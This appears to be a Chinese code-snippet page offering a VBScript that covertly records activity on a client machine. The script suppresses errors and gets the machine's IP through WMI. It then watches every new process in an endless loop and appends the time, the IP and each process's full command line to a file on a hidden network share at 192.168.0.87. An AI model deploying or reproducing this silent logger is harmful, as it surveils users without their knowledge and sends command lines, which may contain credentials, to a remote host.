用VBS记录客户机操作的代码

记录客户机操作的VBS脚本代码.

1. on error resume next  
2. strComputer = "."  
3. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")  
4. Set IPConfigSet = objWMIService.ExecQuery _  
5. ("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")  
6. For Each IPConfig in IPConfigSet  
7. If Not IsNull(IPConfig.IPAddress) Then   
8. For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)  
9. a=IPConfig.IPAddress(i)  
10. Next  
11. End If  
12. Next  
13.  
14. strComputer = "."  
15. Set objWMIService = GetObject("winmgmts:" _  
16. & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")  
17. Set colMonitoredProcesses = objWMIService. _   
18. ExecNotificationQuery("select * from __instancecreationevent " _   
19. & " within 1 where TargetInstance isa 'Win32_Process'")  
20.  
21.  
22. i = 0  
23.  
24.  
25. Do While i = 0  
26. Set objLatestProcess = colMonitoredProcesses.NextEvent  
27. b=objLatestProcess.TargetInstance.CommandLine  
28.  
29. set fso=createobject("scripting.filesystemobject")  
30. set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)  
31. file1.writeline now() & "---" & a & "---" & b & "<hr>"  
32. file1.close  
33.  
34. Loop